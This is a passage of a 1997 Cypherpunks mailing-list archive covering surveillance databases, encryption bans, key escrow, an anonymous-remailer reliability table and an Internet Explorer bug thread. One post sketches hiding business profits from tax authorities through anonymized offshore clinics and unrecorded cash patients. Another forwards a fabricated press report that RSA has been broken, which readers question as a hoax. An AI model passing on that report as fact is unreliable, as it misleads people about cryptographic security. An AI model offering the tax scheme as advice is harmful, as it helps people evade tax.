you write it: even mere contacts to suspected "terrorists,
gang-members, drug-dealers" etc. is enough, to get you flagged as
"suspected supporter of [see above]".
An example of how one could get into that was being presented by a
german civil liberties group:
Let's say, there is a non-permitted demonstration going on in City
A of "anarchic chaots" (the german term for ultra-left-wing
groups). The police installs street barriers around the city and
screens the drivers licences in search of potential demonstrators.
Bob drives up, shows his ID and happens to be believed by the police
man to be somehow affiliated with the demonstration. They might
search his car and will let him go after that, if nothing is found.
However, his name will be put in a central database as "suspected
supporter of unconstitutional groups".
That is enough to target his entire family and close friends with
possible surveillance etc., if the police (or actually the interior
intelligence agency "for the protection of the constitution")
chooses to. Bob will never know of that and although, he has nothing
to do with the demonstrators, his name will be in such a database as
a suspect.

That example shows, that the law can be (mis)used to almost
unlimited surveillance on pretty much everybody to the hearts extent
of the "law-enforcement" agencies. And guess what? They will.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMz83nTltEBIEF0MBAQGNnwf8CL7L2pEY1Qfnfh+5D5LWwTb/DXWAr6+C
TJcsuBYA8MQ94tNhM7DDwBLlf60AKVgKJjh/BX6JEOWMrXLXewkDxNCj9PG1iDwV
bPXmEsI8ovX8EZJrNjFAhF7pG83bwHzD+23xpamx+9fYq6T2hHpZse7XEavYNBqv
0+8vJiCxsvuLn9q8CWng+KgNYmCk9JXJUj+8jUvJJHgbXt+Bkvech4mfL7cW7nvN
HPAMXalKWaWrcroJAnz/2bi2JlMovfVftU1u79CUrPi9rPMYJJAaD28VEfeCHd5T
e9WfTnu6F3C67CEZ0TCR+toQxLM5RgNej3mv69OiVyntNnmaPD9GeQ==
=1e2d
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From toto at sk.sympatico.ca  Mon Mar 31 00:56:47 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 31 Mar 1997 00:56:47 -0800 (PST)
Subject: National Citizen-Unit
In-Reply-To: <TCPSMTP.17.3.30.-9.12.24.2780269260.1589628@nycmetro.com>
Message-ID: <333F7949.EB0@sk.sympatico.ca>


harka at nycmetro.com wrote:

>  In> Governor's Budget Includes Money to Set Up Gang-Tracking
>  In> Network

>  In> [A]s part of the governor's anti-gang proposals, he's
>  In> proposing to spend $625,000 worth of state and federal money
>  In> to set up a gang-tracking computer database and network.

   Are they going to start with members of the legislature and law
enforcement agencies? (Might as well clear out the worst of the
bunch first.)

>  In> Four agents of the Tennessee Bureau of Investigation will be
>  In> assigned to do nothing but gather and maintain information
>  In> about gangs in the state's four regions.

  This plan was intially supposed to be introduced in Oakland, but
its designers soon realized that, outside of CIA operations, there
was very little criminal activity in the area.

>  -=> Quoting In:bdolan at usit.net to Harka <=-
>
>  In> The important thing to note is that - as I understand the
>  In> description of the program -  a person does not have to commit a
>  In> crime to be included in the database.  They just have to have
>  In> contact with a person or group which is already in it.

  This should put law enforcement officers at the top of the list.
  Theoretically, in order not to be included in the database, cops
would have to avoid all contact with criminals. (I think I'm starting
to like this idea!)

> This has been going on in Germany for several years now under the
> name "Raster-Fahndung" (cross-reference-search). What it means is as
> you write it: even mere contacts to suspected "terrorists,
> gang-members, drug-dealers" etc. is enough, to get you flagged as
> "suspected supporter of [see above]".

  I suppose they can merge in the voter registration database, for
starters, and round up all those supporters of the thugs on Capitol
Hill. (Even those who voted for the losers are guilty of 'attempted
commission of a crime', even if Donald, Mickey and Goofey entered
the fray with the best of intentions.)
--
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From nobody at huge.cajones.com  Mon Mar 31 00:58:01 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 00:58:01 -0800 (PST)
Subject: National Citizen-Unit #22
Message-ID: <199703310858.AAA14407@fat.doobie.com>



 
WebWorld 22






From stewarts at ix.netcom.com  Mon Mar 31 02:15:06 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 31 Mar 1997 02:15:06 -0800 (PST)
Subject: Hard to Tax Scenario
In-Reply-To: <01BC3BDE.8901B420@slip-james.lcs.mit.edu>
Message-ID: <3.0.1.32.19970331021004.00629b58@popd.ix.netcom.com>


At 12:23 AM 3/29/97 -0500, James O'Toole wrote:
>However, Ann has another alternative, which large organizations will also
have. 
>Ann can operate completely non-anonymously, but bleed profits out of her
business
>through the use of anonymized business partners who exist solely to assist 
>Ann in hiding her profits.  Crypto might make this scheme more foolproof
for Ann, 
>by enabling her to anonymously own and operate a network of covert
subsidiaries 
>that she does business with openly, and which collect most of her profits,
> but which themselves are for some reason not vulnerable to the tax
authority.

For instance, patients using Ann's services pay their money to
Alice's Anguillan Health Care Clinic, Ltd., which just happens to 
have a branch employing Ann at some vaguely plausible salary.
Either her salary is enough to keep the IRS relatively non-suspicious,
which works even if Alice's Clinic gets paid by government-regulated
insurance plans, at the cost of some taxes, or she's paid piece-rates 
(perhaps below market, or perhaps cash patients don't always get recorded.)
Perhaps Sister Ann has taken a vow of poverty and the IRS believes her?*
Perhaps Ann's rent is paid to a company that's really owned by Alice's?
Does Ann really own Alice's Clinic?  Most of this is standard non-crypto
tax avoidance stuff, but digicash and encrypted records and communications
make it a bit more private and convenient.

Also, there _is_ a business for cash-paying customers, who may choose
to retain their anonymity, either taking their medical records with them
on smartcards, or being treated under aliases - poor people who don't
have insurance, non-insured privacy enthusiasts, people worried about
socially awkward diseases, people with gunshot wounds they don't want to
explain
to the authorities, etc.  

[*OK, they're more likely to believe her if Alice's Clinic charges
substantially below-market rates than if she's charging full price,
but the under-the-table clients can help with that problem.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Mon Mar 31 06:28:00 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 06:28:00 -0800 (PST)
Subject: rot13 Encoder/Decoder
Message-ID: <199703311428.GAA19872@fat.doobie.com>


http://otto.cmr.fsu.edu/~davis_t/rot13.cgi





From nobody at huge.cajones.com  Mon Mar 31 06:28:05 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 06:28:05 -0800 (PST)
Subject: Privacy? Not in Canada!
Message-ID: <199703311428.GAA19876@fat.doobie.com>


From: ag434 at freenet.hamilton.on.ca (David Buchanan)
Newsgroups: alt.security.pgp,talk.politics.crypto
Subject: Re: If you want privacy, don't come to Canada!
Date: 30 Mar 1997 22:26:41 -0500
Organization: Hamilton-Wentworth FreeNet, Ontario, Canada.

CRIMINALS WON'T BE THE ONLY TARGETS

Criminals won't be the only targets if strong non-escrowed encryption is
outlawed although criminals provide a convenient excuse for governments
seeking to extend their power over their own citizens.

Even in Canada, a nation which can hardly be described as a police state,
there is good reason to fear the security and intelligence apparatus will be
used by the government against its legitimate and law-abiding political
opponents.  Let me give you two examples.

1) BUREAUCRAT'S "LET'S GET HIM" MEMO

Within the last couple of weeks, the Canadian public learned from news
reports about a meno written by a top level federal bureaucrat in which he
complained about the activities of a private citizen and suggested that his
fellow government officials should "take a look at this guy."  

The private citizen was a law-abiding, former military officer whose freedom
of information requests had exposed mismanagement and corruption in the
government.  This memo was particularly chilling because the recipients
included officials of the tax department and the Canadian Security and
Intelligence Service (CISIS) -- two agencies well suited to bringing pressure
to bear on private citizens.  Although the bureaucrat was caught in the act
this time, it is quite disturbing that a senior civil servant believes such a
memo to be normal and acceptable.

2) NEO-NAZI PLANTED IN OPPOSITION PARTY

During the last Canadian federal election, the ruling Progressive
Conservative Party (PCs) was losing voters to the Reform Party, a moderate,
small "c" conservative party based in Western Canada.  The PC's campaign
strategy was to accuse Reform of being "extremists" or "racists."

About the only evidence of this that the PCs were able to produce was the
founder and leader of a small neo-nazi style group who had attempted to
infiltrate the Reform Party with little success.  

Subsequently the public learned that the neo-nazi was actually a paid agent
of the Canadian Security and Intelligence Service (CISIS), an agency
ultimately controlled by the Progressive Conservative government.

There have been the expected denials from CISIS but the most plausible
interpretation of these events is that the Progressive Conservative
government tried to sabotage the electoral chances of the Reform Party by
planting a neo-nazi on its fringes.  

CISIS is one of the government agencies that definitely would have access to
all of the material obtained from the proposed key escrow or key recovery
type systems.

WHY HONEST CITIZENS SHOULD BE WORRIED

The increasing use of email and other data telecommunications will greatly
expand the amount of private and personal information on private citizens
that governments can collect, archive, and sift through whenever they need
weapons to use against their legitimate political opponents.  This
information can be collected very cheaply and used in ways that are difficult
for the government's victims to counter or even detect.  

For example, a simple telephone call to a cooperative bank official just
before the a target attempts to renew a line of credit for his business.  The
only effective way to prevent this is with the wide availability and use of
strong non-escrowed, non-key-recovery encryption.

As for those trusting souls out there who still believe they have nothing to
hide, ask yourself this question:  

   Would you be willing to email carbon copies of all your email messages 
   and online data transmissions to one of your political opponents?  

If secure encryption is banned, this is exactly what you will be doing and
you had better be prepared to agree with everything the government does on
every issue or take the consequences!

DB
--





From adam at homeport.org  Mon Mar 31 06:49:51 1997
From: adam at homeport.org (Adam Shostack)
Date: Mon, 31 Mar 1997 06:49:51 -0800 (PST)
Subject: Privacy? Not in Canada!
In-Reply-To: <199703311428.GAA19876@fat.doobie.com>
Message-ID: <199703311446.JAA06398@homeport.org>


	The Canadian privacy commissioner usually sends several people
to the CFP conference each year.  I've had good conversations with
them, and would be very suprised to see them as anything other than
opponents of this measure.

	Canadians might want to get in touch with them to voice
concern.

Adam


| CRIMINALS WON'T BE THE ONLY TARGETS
| 
| Criminals won't be the only targets if strong non-escrowed encryption is
| outlawed although criminals provide a convenient excuse for governments
| seeking to extend their power over their own citizens.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From raph at CS.Berkeley.EDU  Mon Mar 31 06:50:29 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 31 Mar 1997 06:50:29 -0800 (PST)
Subject: List of reliable remailers
Message-ID: <199703311450.GAA29750@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail at miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster at remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer at replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer at remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack at holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer at dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer at cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock at rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config at nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer at huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix at squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman at jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias at alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman at athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config at weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman at cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer at wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer at lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer at hidden.net> cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 31 Mar 97 6:49:14 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer at hidden.net              **######.###    51:35  99.99%
lucifer  lucifer at dhp.com                  ++++++++++++    36:24  99.98%
cyber    alias at alias.cyberpass.net        *+**+++*+++*    38:16  99.91%
weasel   config at weasel.owl.de             ++--++-++++   2:21:10  99.89%
replay   remailer at replay.com              **-**-+*-+-*  1:32:14  99.81%
balls    remailer at huge.cajones.com        ###+*##* +##     2:27  99.73%
squirrel mix at squirrel.owl.de              ++--++-++++   2:44:37  99.58%
dustbin  dustman at athensnet.com            + ++ +-++ +     49:04  99.35%
exon     remailer at remailer.nl.com         #*+# +##* **     4:34  99.25%
reno     middleman at cyberpass.net            +-++ +.-+-    50:50  98.87%
winsock  winsock at rigel.cyberpass.net      -----+---- -  3:56:33  98.65%
jam      remailer at cypherpunks.ca           * ** **   *    11:13  98.54%
extropia remail at miron.vip.best.com        ___.._.-.-   27:38:30  96.60%
mix      mixmaster at remail.obscura.com     ___.+_.-*    33:58:31  94.45%
shaman   remailer at lycaeum.org             ++-++-+   -+    28:03  86.87%
nym      config at nym.alias.net             ***#**-#-#      13:11  80.62%
haystack haystack at holy.cow.net                            52:19  -4.36%
middle   middleman at jpunix.com             +               35:43   2.13%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From lucifer at dhp.com  Mon Mar 31 07:38:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 31 Mar 1997 07:38:38 -0800 (PST)
Subject: Stego Question
Message-ID: <199703311538.KAA10639@dhp.com>



Stego Question:
  How many bodies does it take to spell,
"I _told_ you I was crazy!"






From sunder at brainlink.com  Mon Mar 31 08:03:00 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 31 Mar 1997 08:03:00 -0800 (PST)
Subject: PRESS REPORT - IMPORTANT?????
In-Reply-To: <199703310825.KAA13268@spoof.bart.nl>
Message-ID: <Pine.SUN.3.91.970331110509.18046C-100000@beast.brainlink.com>


Is this for real or a troll???

On Mon, 31 Mar 1997, Anonymous wrote:

> ***  London Times, 30/03/1997   ***
> 
> >Factoring problem broken:
> >
> >One of the main systems used by computer privacy
> >programs around the world such as those used on
> >the internet to prevent third parties eavesdropping
> >on credit card transactions has been proven insecure,
> >The RSA algorithm, based on the difficulty of "factoring"
> >large numbers appears to have a weakness, a press 
> >release by the IACR (International Association for cryptologic 
> >research) reads as follows:
> 
> >"Leading researcher Ari Lenstra last night announced major 
> >progress had been made towards a solution to the factoring
> >problem, a result obtained by Sergei Ripov, researcher at
> >an obscure university in the former Soviet union, shows
> >conclusively that there exists a solution to the problem 
> >that is of polynomial time complexity, although this solution
> >has yet to be found this signals the beginning of the end for
> >a number of cryptosystems based on this problem, please note
> >a trivial solution to factoring also suggests a trivial solution
> >to the ECDLP and therefore a number of other systems such as
> >Diffie-Hellman and the El-Gamal group of cryptosystems should
> >be considered insecure"
> >
> >We were unable to contact the IACR for futher information.
> >The leading internet products company Netscape refused to
> >comment saying only "We regularly review data security
> >issues concerning all of our products".
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From sunder at brainlink.com  Mon Mar 31 08:09:18 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 31 Mar 1997 08:09:18 -0800 (PST)
Subject: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <Pine.SUN.3.91.970331111028.18046D-100000@beast.brainlink.com>


On Thu, 27 Mar 1997, Declan McCullagh wrote:

> Does anyone have a copy of the heavensgate.com web pages?
> 
> I've found a couple mirrors of Higher Source already.
> 
> (If you don't know what I'm talking about, look at
> http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)
> 
> If you want to send something anonymously, finger -l declan at eff.org for my
> PGP public key.

The original (for higher source) is still at www.cris.com/~Font

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From sunder at brainlink.com  Mon Mar 31 08:16:44 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 31 Mar 1997 08:16:44 -0800 (PST)
Subject: [NTSEC] Re: Internet Explorer Bug #4 (fwd)
Message-ID: <Pine.SUN.3.91.970331111923.18046H-100000@beast.brainlink.com>




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Sat, 29 Mar 1997 14:37:43 -0800
From: Chris Plunkett <chris.plunkett at opensys.com>
To: pmarc at cmg.FCNBD.COM
Cc: Romulo Moacyr Cholewa <rmcholewa at poboxes.com>,
    Windows NT BugTraq Mailing List <NTBUGTRAQ at rc.on.ca>,
    "ntsecurity at iss.net" <ntsecurity at iss.net>, hughtay at microsoft.com
Subject: Re: [NTSEC] Re: Internet Explorer Bug #4

> > We are aware of this, but the report is misleading.  The report states
> > that both times the password sent from the client to the server is
> > encrypted.  It would take quite a while for even a Cray Supercomputer to
> > decrypt the password, even if it was dedicated to that sole task.  For
> > the average network server (and a powerful one), it would take a few
> > human lifetimes to decrypt them even if they were dedicated to that sole
> > task.
> 
> Arrggghhh!  Nothing sets off my ignorance alert more quickly than somebody
> who mentions a Cray in conjunction with attempts to brute force crypto
> algorithms.  I won't bother to explain all of the reasons why that is a
> foolish thing to say.  Instead I will share a little story about some folks I
> know from about 3-4 years ago.  (Greetings to any of these individuals who
> may be lurking on NTSEC or NTBUGTRAQ.)
> 
> Apparently they had some good reasons to go after the encryption algorithm
> used by WordPerfect.  After several ineffective implementations, a
> WordPerfect engineer developed a DES based encryption algorithm.  His claim
> was that it would take a room full of Crays to break the algorithm.  Hmmm...
> sounds familiar.  Needless to say, shortly after a successful attack on the
> algorithm by those mentioned, there was a certain 486 with a YMP sticker
> plastered to its front.
> 
> Sure, brute force attacks can be expensive when an algorithm is implemented
> correctly.  However, I can't let it pass when these facts are expressed in
> such a patronizing manner.
> 
> ---
> Paul M. Cardon - System Officer
> Capital Markets Systems - First Chicago NBD Corporation
> pmarc at cmg.fcnbd.com - (312) 732-7392
> 
I heard a story one time.  It evolved around a college student in
France doing some cyptography work in school,  working nights 
as a backup operator at some large computer center.  He didn't need
a cray.   A little knowledge and some creative programming,  and 
a center full of computers (problably around the size of a Sparc 10).
The story ended explaning how one of the encryption schemes that 
would tale a Cray week to break,  was broken in one night,  by a 
bunch of computers running backups.

It might be hard to find a cray,  but I know a guy,  he works 
at this place where they got them 15 pentium pros.  The average
network server has another server for some other task on the
same wire.
------------------------------------------------------------
Chris Plunkett                             System Technician
Breakwater Technologies Inc.
phone:(206)803-5000x112                    Fax:(206)803-5001
http://www.breakwater.net        mailto:chris at breakwater.net
------------------------------------------------------------






From toto at sk.sympatico.ca  Mon Mar 31 08:40:57 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 31 Mar 1997 08:40:57 -0800 (PST)
Subject: PRESS REPORT - IMPORTANT
In-Reply-To: <199703311545.HAA24446@fat.doobie.com>
Message-ID: <333FE96F.5D95@sk.sympatico.ca>


Huge Cajones Remailer wrote:
> 
>         Anonymous writes:
> >
> > ***  London Times, 30/03/1997   ***
> >
> > >Factoring problem broken:
> > >
> > >One of the main systems used by computer privacy
> > >programs around the world such as those used on
> > >the internet to prevent third parties eavesdropping
> > >on credit card transactions has been proven insecure,
> > >The RSA algorithm, based on the difficulty of "factoring"
> > >large numbers appears to have a weakness, a press
> > >release by the IACR (International Association for cryptologic
> > >research) reads as follows:
> 
> A little early for April Fools'.  "Sergei Ripov" indeed.

  I did a search through the online edition for anything to do with
encryption, RSA, algorithms, etc., and nothing came up for the last
few months.
  Maybe it's in the April 1st edition.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From sunder at brainlink.com  Mon Mar 31 10:17:35 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 31 Mar 1997 10:17:35 -0800 (PST)
Subject: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970327232118.10795@bywater.songbird.com>
Message-ID: <Pine.SUN.3.91.970328125230.15157B-100000@beast.brainlink.com>


On Thu, 27 Mar 1997, Kent Crispin wrote:

> > 	The PGP web of trust idea is more than sufficient.
> 
> No, it is completely inadequate.  I am the office-supply manager the 
> San Francisco branch of Big Well-known Company,  Inc.  I have 
> signature authority in the company for purchases up to $5000, 
> otherwise I have to get higher-up approval.  I have a "company 
> signature" which is authorized for that amount, one of about 800 such 
> signatures.  I wish to purchase office supplies from a large office 
> supply wholesaler in New York, which has literally tens of thousands 
> of customers.  The "web of trust" model simply does not handle this 
> kind of situation well.  I realize that some of the keyservers are 
> very high performance -- that's not the problem.  The problem is the 
> structure of the web itself.  If there were some trusted *authority* that 
> could sign keys...

Sure there is.  The HR department of Big Well-known Company, Inc. can 
sign the employee's keys.  What's the problem?  If you want to order 
something you do so by generating a P.O. or by using a credit card.  What 
does the web of trust have to do with this?

If you need approval, it's simple, you ask for it.  When you get it, you 
order your 10,000 pencil erasers.  You don't have to use PGP signatures 
for orders, but you can if the infrastructure is there between both 
companies.
 
> >	If you
> > 	want, you can designate a third party as a trusted
> > 	authority.  However, this is not needed if you meet
> > 	the person with whom you will communicate in person
> > 	and exchange public keys.  Further this trusted
> > 	authority needn't be a government entity thank you.
> > 	This could easily be your lawyer, Verisign or some
> > 	other entity.
> 
> This is no longer a web of trust model, it is a Certificate Authority 
> model.  Certificate authority standards are developing at warp speed.

No shit.  Both are possible.  Whichever your company wants it will use.

> > 	The only legal support needed for digital signatures
> > 	is for the courts to recognize that digital signatures
> > 	are equivalent to their analog counterparts.
> 
> The *only* legal support?  This is a *big* deal, and the issues are 
> very complicated.  Handwritten signatures and digital signatures are 
> really quite different.

I claimeth not lawyerhood, but IMHO, it can stand up in court if both 
parties agree to it by analog signatures infront of a notray.  Any 
lawyers care to comment?

> >	This could
> > 	be binding if the two parties sign something that says
> > 	"If I use PGP to sign a document I agree to allow that
> > 	document to be treated as if I signed it." (IMHO)
> 
> Sure.  It's been done, in fact.  However, pairwise contracts with
> everyone you do business with is not going to cut it.  You need laws
> for this. 

Not if it is agreed by all parties involved and their lawyers to honor 
such signatures. (IMHO)

> [...]
> > 
> > > 	4) Businesses, especially large businesses, will (and do)
> > > 	want common standards for key and DS management.
> > 
> > 	Yeah, and they also want standards for software.  I.e.
> > 	Word Perfect Office versus Microsoft Office. Lotus
> > 	Notes Domino versus Netscape Enterprise server.  However
> > 	neither of these examples show a need for government
> > 	entities.  They can easily say "We use PGP as our
> > 	signing standard, and our notary will be shown
> > 	a person driver license and will sign a printed email
> > 	with that person's key for proof."	
> 
> This is pair-wise contracting again.  Note, incidentally, that 
> standards concerning signatures are of a different order than 
> standards concerning office software.  There far more pressing 
> liability issues with digital signature.

Really? you must not have been gotten infected by the slew of Word and 
Excel viruses out there.  Might be a very good lawsuit against Micro$oft 
that they allowed such things to happen.

Standards for a company are standards for a company.  Which standard has 
more weight or importance is up to that company.  Sure, it is on a bigger 
scale that installing XYZ OfficeWare and getting your ass fired, but it 
is still a standard.

Is there any reason that a specific company CAN'T decide to use PGP? (or 
PEM, or some other scheme) if it so choses?

> > > 	9) There is a high probability that a widespread standard
> > > 	for enterprise level key management including key escrow
> > > 	will develop in the next few years.
> > 
> > 	Why jump to key escrow all of a sudden?  You see, a 
> > 	corporation can escrow its own keys in a fire proof
> > 	safe off site.  Why use a government agency where any
> > 	two bit crooked employee can access the keys of that
> > 	corporation?
> 
> I didn't say "government agency".  I said "Enterprise level".  A
> fireproof safe offsite is indeed a crude form of enterprise level key
> escrow.  But it's not really very useful.  Imagine a company with 
> several thousand employees, with each employee having a company 
> signature key.  You use your key for all kinds of mundane things -- 
> signing your time sheet, signing purchase orders, signing memos, 
> etc.  (This is not one of your personal keys that you use when you 
> send email to your lover.)  You have a turnover of several people a 
> month, people forgetting passphrases, people invalidating keys 
> because of a passphrase compromise, etc.  These are company signature 
> keys, also used for encrypting email, so the company escrows all the 
> secret halves of the keypairs.  (There is no privacy issue here -- 
> these are all company keys used for company business, all the 
> encrypted documents are company documents.)

So what's the problem?  You hire people to keep track of assigning, 
escrowing, and signing keys for your employees.  You have IS staff and 
security staff to watch for breeches.  You can automate tons of this with 
good written scripts that automatically scan all email for valid 
signatures and raise alarms when signatures don't match.

Where is this not useful?  For a small company a locked safe is plenty.  
For a large company, you hire HR/Security folks to be your "Key Agents" 
or whatever.

 
> In this scenario there is daily access to the key escrow system.  A 
> fireproof safe offsite is not the most convenient way to deal with 
> the problem, and so the company will buy a software solution -- a 
> nice, cryptographically secure, software solution.  (This is 
> obviously not a hard problem -- any cypherpunk should be able to 
> design such a system.)

Yeah, ditto.  We agree on this.  We also would want something sent 
offsite incase of nuke, flood, fire, or mass suicide. :-)  (sorry had to 
throw in a Heaven's Gate ref somewhere.)

> > > 	10) This will converge with legal developments motivated by
> > > 	Digital Signature and support for electronic commerce, so that
> > > 	the standards will actually be government standards with at
> > > 	least partial force of law.
> > 
> > 	Why do commercial standards need be the same as those 
> > 	dictated by govermental standards? 
> 
> Many commercial "standards" are legal standards, supplied by the
> government.  In fact, the whole legal infrastructure of business law
> is really, when you get right down to it, a set of legally mandated
> standards.  Standards are all over the map, when it comes to legal 
> status.

Because there are laws that force such standards on the company.  So far 
are there any laws that say you can't use anything but DSA? (Or Clipper, 
or whatever NSA backed scheme d'jour is being pushed?)  If there were 
such laws in progress, they would be fought. :)

> >	Why does there need
> > 	to be a law that says "All businesses MUST use clipper
